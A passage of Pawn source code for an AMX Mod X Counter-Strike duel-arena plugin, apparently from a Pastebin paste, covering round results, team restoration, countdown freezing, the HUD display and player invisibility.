  1746.         if(rounds[arena_number[attacker]] >= MAX_ROUNDS || his_wins[attacker] >= MAX_KILLS)
  1747.         {
  1748.             if(!get_non_duelers_alive())
  1749.             {
  1750.                 ExecuteHamB(Ham_CS_RoundRespawn, victim)
  1751.                 Check_Results(attacker,victim)
  1752.                 return HAM_SUPERCEDE
  1753.             }
  1754.             else
  1755.             {
  1756.                 ExecuteHamB(Ham_CS_RoundRespawn, victim)
  1757.                 Check_Results(attacker,victim)
  1758.             }
  1759.         }
  1760.         else
  1761.         {
  1762.             wait_for_enemy_loop(attacker)
  1763.             //client_print_color(attacker, DontChange,"%s^4Rounds^1:^3%d^4/^3%d^1 | ^4You^1:^3%d^4/^3%d^1 | ^4%s^1:^3%d^4/^3%d^1.",CHAT_TAG,rounds[arena_number[attacker]],MAX_ROUNDS,his_wins[attacker],MAX_KILLS,his_name[victim],his_wins[victim],MAX_KILLS)
  1764.             //client_print_color(victim, DontChange,"%s^4Rounds^1:^3%d^4/^3%d^1 | ^4You^1:^3%d^4/^3%d^1 | ^4%s^1:^3%d^4/^3%d^1.",CHAT_TAG,rounds[arena_number[attacker]],MAX_ROUNDS,his_wins[victim],MAX_KILLS,his_name[attacker],his_wins[attacker],MAX_KILLS)
  1765.         }
  1766.         Set_Entity_Invisible(victim, 1)
  1767.         set_task(1.0,"delay_respawn",victim)
  1768.         return HAM_SUPERCEDE
  1769.     }
  1770.     return HAM_IGNORED
  1771. }
  1772.  
  1773. public fake_death(attacker,victim)
  1774. {
  1775.     message_begin( MSG_ALL, get_user_msgid("DeathMsg"),{0,0,0},0)
  1776.     write_byte(attacker)
  1777.     write_byte(victim)
  1778.     write_byte(0)
  1779.     write_string("knife")
  1780.     message_end()
  1781. }
  1782.  
  1783. public delay_respawn(id)
  1784. {
  1785.     if(is_user_connected(id))
  1786.     {
  1787.         if(!is_user_alive(id))
  1788.         {
  1789.             ExecuteHamB(Ham_CS_RoundRespawn, id)
  1790.         }
  1791.         Set_Entity_Invisible(id, 0)
  1792.     }
  1793.     return PLUGIN_CONTINUE
  1794. }
  1795. public Check_Results(id,enemy)
  1796. {
  1797.     reset_teams(id)
  1798.     reset_teams(enemy)
  1799.     new id_name[64],enemy_name[64];
  1800.     get_user_name(id,id_name,charsmax(id_name))
  1801.     get_user_name(enemy,enemy_name,charsmax(enemy_name))
  1802.     if(his_wins[id] > his_wins[enemy])
  1803.     {
  1804.         client_print_color(0, DontChange,"^3[^4Arena: %s^3] ^4%s ^1with ^3%d scores (HS:%d) ^1won against ^4%s ^1with ^3%d scores (HS:%d)",arena_names[arena_number[id]],id_name,his_wins[id],his_HS[id],enemy_name,his_wins[enemy],his_HS[enemy])
  1805.         reward_winner(id)
  1806.         reward_loser(enemy)
  1807.     }
  1808.     else if(his_wins[enemy] > his_wins[id])
  1809.     {
  1810.         client_print_color(0, DontChange,"^3[^4Arena: %s^3] ^4%s ^1with ^3%d scores (HS:%d) ^1won against ^4%s ^1with ^3%d scores (HS:%d)",arena_names[arena_number[id]],enemy_name,his_wins[enemy],his_HS[enemy],id_name,his_wins[id],his_HS[id])
  1811.         reward_winner(enemy)
  1812.         reward_loser(id)
  1813.     }
  1814.     else
  1815.     {
  1816.         client_print_color(0, DontChange,"^3[^4Arena: %s^3] ^4%s ^1with ^3%d scores (HS:%d) ^1and ^4%s ^1with ^3%d scores (HS:%d) ^1ended in a ^4draw match.",arena_names[arena_number[id]],id_name,his_wins[id],his_HS[id],enemy_name,his_wins[enemy],his_HS[enemy])
  1817.         if(SOUNDS_ENABLED)
  1818.         {
  1819.             client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[2])
  1820.             client_cmd(enemy,"spk ^"%s^"",DUEL_SOUNDS[2])
  1821.         }
  1822.         if(his_wins[id] == his_wins[enemy])
  1823.         {
  1824.             user_kill(id,1)
  1825.             user_kill(enemy,1)
  1826.         }
  1827.     }
  1828.     //client_print_color(0, DontChange,"%s^3Headshots: ^4%s^1:^3%d ^4%s^1:^3%d^1.",CHAT_TAG,id_name,his_HS[id],enemy_name,his_HS[enemy])
  1829.     if(arena_number[id] == arena_number[enemy])
  1830.         remove_the_arena(arena_number[id] +ARENA_CODE)
  1831.     back_to_the_spawn(id)
  1832.     back_to_the_spawn(enemy)
  1833.     reset_values(enemy)
  1834.     reset_values(id)
  1835.    
  1836. }
  1837.  
  1838. public back_to_the_spawn(id)
  1839. {
  1840.     if(is_user_alive(id))
  1841.     {
  1842.         entity_set_origin(id,his_original_spawn[id])
  1843.         Set_Entity_Invisible(id, 0)
  1844.         set_user_health(id,map_default_hp)
  1845.     }
  1846.     set_user_armor(id,0)
  1847.     set_user_godmode(id, 0)
  1848. }
  1849.  
  1850.  
  1851.  
  1852. public manage_battle(id)
  1853. {
  1854.     is_in_duel[id] = 2
  1855.     his_challenger[id] = his_asker[id]
  1856.     his_challenger[his_challenger[id]] = id
  1857.     is_in_duel[his_challenger[id]] = 2
  1858.     his_asker[id] = 0
  1859.     his_wins[id] = 0
  1860.     his_wins[his_challenger[id]] = 0
  1861.     new aren_code = get_next_arena()
  1862.     arena_number[id] = aren_code
  1863.     arena_number[his_challenger[id]] = aren_code
  1864.     rounds[aren_code] = 0
  1865.     new CsTeams:teamid,CsTeams:teamenemy;
  1866.     teamid = cs_get_user_team(id)
  1867.     teamenemy = cs_get_user_team(his_challenger[id])
  1868.     if(teamid == CS_TEAM_T)
  1869.     {
  1870.         his_previous_team[id] = 2
  1871.     }
  1872.     else if(teamid == CS_TEAM_CT)
  1873.     {
  1874.         his_previous_team[id] = 1
  1875.     }
  1876.     else his_previous_team[id] = 0
  1877.    
  1878.     if(teamenemy == CS_TEAM_T)
  1879.     {
  1880.         his_previous_team[his_challenger[id]] = 2
  1881.     }
  1882.     else if(teamenemy == CS_TEAM_CT)
  1883.     {
  1884.         his_previous_team[his_challenger[id]] = 1
  1885.     }
  1886.     else his_previous_team[his_challenger[id]] = 0
  1887.     start_build(his_challenger[id])
  1888.     if(SOUNDS_ENABLED)
  1889.     {
  1890.         client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[4])
  1891.         client_cmd(his_challenger[id],"spk ^"%s^"",DUEL_SOUNDS[4])
  1892.     }
  1893.     battle_timer(id)
  1894.     battle_timer(his_challenger[id])
  1895.     hud_displayer(id)
  1896.     hud_displayer(his_challenger[id])
  1897.     client_print_color(0, DontChange,"%s^4%s^3 accepted ^4%s^3's challenge!",CHAT_TAG,his_name[id],his_name[his_challenger[id]])
  1898. }
  1899.  
  1900. public begin_the_battle(id,enemy)
  1901. {
  1902.     start_new_round(id,enemy)
  1903. }
  1904.  
  1905. public start_new_round(id,enemy)
  1906. {
  1907.     his_timer[id] = 0
  1908.     his_timer[enemy] = 0
  1909.     is_frozen[id] = 1
  1910.     is_frozen[enemy] = 1
  1911.     his_countdown[id] = MAX_COUNTDOWN
  1912.     his_countdown[enemy] = MAX_COUNTDOWN
  1913.     countdown(id)
  1914.     countdown(enemy)
  1915. }
  1916.  
  1917. public countdown(id)
  1918. {
  1919.     if(is_user_connected(id))
  1920.     {
  1921.         his_countdown[id]--
  1922.         if(0 >= his_countdown[id])
  1923.         {
  1924.             is_frozen[id] = 0
  1925.             unfreeze_player(id)
  1926.             if(SOUNDS_ENABLED)
  1927.                 client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[6])
  1928.             client_print(id,print_center,"Fight!")
  1929.             return PLUGIN_HANDLED
  1930.         }
  1931.         else
  1932.         {
  1933.             freeze_player(id)
  1934.             if(SOUNDS_ENABLED)
  1935.                 client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[5])
  1936.             client_print(id,print_center,"%d",his_countdown[id])
  1937.             if(!is_frozen[id]) // we prevent it from spamming
  1938.                 is_frozen[id] = 1
  1939.         }
  1940.         set_task(1.0,"countdown",id)
  1941.     }
  1942.     return PLUGIN_CONTINUE
  1943. }
  1944.  
  1945. public reset_teams(id)
  1946. {
  1947.     if(his_previous_team[id] == 1)
  1948.     {
  1949.         cs_set_user_team(id,CS_TEAM_CT)
  1950.     }
  1951.     else if(his_previous_team[id] == 2)
  1952.     {
  1953.         cs_set_user_team(id,CS_TEAM_T)
  1954.     }
  1955.     return PLUGIN_CONTINUE
  1956. }
  1957.  
  1958. public check_teams(id,enemy)
  1959. {
  1960.     new CsTeams:teamid,CsTeams:teamenemy;
  1961.     teamid = cs_get_user_team(id)
  1962.     teamenemy = cs_get_user_team(enemy)
  1963.     if(!users_in_same_team(id,enemy) && !is_in_false_team(id) && !is_in_false_team(enemy))
  1964.         return PLUGIN_HANDLED
  1965.     if(teamid == CS_TEAM_CT && teamenemy == CS_TEAM_CT )
  1966.     {
  1967.         cs_set_user_team(id,CS_TEAM_T)
  1968.     } else if(teamid == CS_TEAM_T && teamenemy == CS_TEAM_T)
  1969.     {
  1970.         cs_set_user_team(id,CS_TEAM_CT)
  1971.     }
  1972.     else
  1973.     {
  1974.         Check_Results(id,enemy)
  1975.         return PLUGIN_CONTINUE
  1976.     }
  1977.     return PLUGIN_HANDLED
  1978. }
  1979. stock is_in_false_team(id)
  1980. {
  1981.     if(cs_get_user_team(id) == CS_TEAM_SPECTATOR || cs_get_user_team(id) == CS_TEAM_UNASSIGNED)
  1982.         return PLUGIN_HANDLED
  1983.     return PLUGIN_CONTINUE
  1984. }
  1985. stock users_in_same_team(id,enemy)
  1986. {
  1987.     if(cs_get_user_team(id) == cs_get_user_team(enemy))
  1988.         return PLUGIN_HANDLED
  1989.     return PLUGIN_CONTINUE
  1990. }
  1991.  
  1992. stock get_next_arena()
  1993. {
  1994.     next_empty_arena = 0
  1995.     for(new id;id < MAX_PLAYERS;id++)
  1996.     {
  1997.         if(is_user_connected(id))
  1998.         {
  1999.             if(arena_number[id] == next_empty_arena)
  2000.             {
  2001.                 next_empty_arena++
  2002.                 if(next_empty_arena > total_arenas)
  2003.                     return -1
  2004.             }
  2005.         }
  2006.     }
  2007.     if(next_empty_arena > total_arenas)
  2008.     {
  2009.         return -1
  2010.     }
  2011.     return next_empty_arena
  2012. }
  2013.  
  2014. stock reset_values(id)
  2015. {
  2016.     his_HS[id] = 0
  2017.     rounds[arena_number[id]] = 0
  2018.     is_in_duel[id] = 0
  2019.     his_challenger[id] = 0
  2020.     his_asker[id] = 0
  2021.     arena_number[id] = 0
  2022.     his_wins[id] = 0
  2023.     got_spawn[id] = 0
  2024.     his_timer[id] = 0
  2025. }
  2026.  
  2027. public freeze_player(id)
  2028. {
  2029.     set_user_maxspeed(id,1.0)
  2030. }
  2031.  
  2032. public unfreeze_player(id)
  2033. {
  2034.     set_user_maxspeed(id,250.0)
  2035. }
  2036.  
  2037.  
  2038.  
  2039. public wait_for_enemy_loop(id)
  2040. {
  2041.     if(is_user_connected(id))
  2042.     {
  2043.         if(is_in_duel[id] == 2)
  2044.         {
  2045.             if(is_user_connected(his_challenger[id]))
  2046.             {
  2047.                 if(is_in_duel[his_challenger[id]] == 2)
  2048.                 {
  2049.                     if(is_user_alive(his_challenger[id]))
  2050.                     {
  2051.                         begin_the_battle(id,his_challenger[id])
  2052.                         return PLUGIN_HANDLED
  2053.                     }
  2054.                     set_task(0.1,"wait_for_enemy_loop",id)
  2055.                 }
  2056.             }
  2057.         }
  2058.     }
  2059.     return PLUGIN_CONTINUE
  2060. }
  2061.  
  2062. public hud_displayer(id)
  2063. {
  2064.     if(is_user_connected(id))
  2065.     {
  2066.         if(is_in_duel[id] == 2 && is_user_connected(his_challenger[id]))
  2067.         {
  2068.             new name[64],his_name[64];
  2069.             get_user_name(id,name,charsmax(name))
  2070.             get_user_name(his_challenger[id],his_name,charsmax(his_name))
  2071.             set_dhudmessage(0, 255, 0, -1.0, 0.0, 0, 6.0, 0.1)
  2072.             show_dhudmessage(id, "Arena: %s | Rounds: %d/%d ^n%s -- %d/%d (HS:%d)^nVS^n%s -- %d/%d (HS:%d)"
  2073.             ,arena_names[arena_number[id]]
  2074.             ,rounds[arena_number[id]]
  2075.             ,MAX_ROUNDS,name,his_wins[id]
  2076.             ,MAX_KILLS,his_HS[id]
  2077.             ,his_name,his_wins[his_challenger[id]]
  2078.             ,MAX_KILLS,his_HS[his_challenger[id]])
  2079.            
  2080.             set_task(0.1,"hud_displayer",id)
  2081.         }
  2082.     }
  2083. }
  2084.  
  2085. stock Set_Entity_Invisible(ent, Invisible = 1)
  2086. {
  2087.     if(!pev_valid(ent))
  2088.         return
  2089.     set_pev(ent, pev_effects, Invisible == 0 ? pev(ent, pev_effects) & ~EF_NODRAW : pev(ent, pev_effects) | EF_NODRAW)
  2090. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top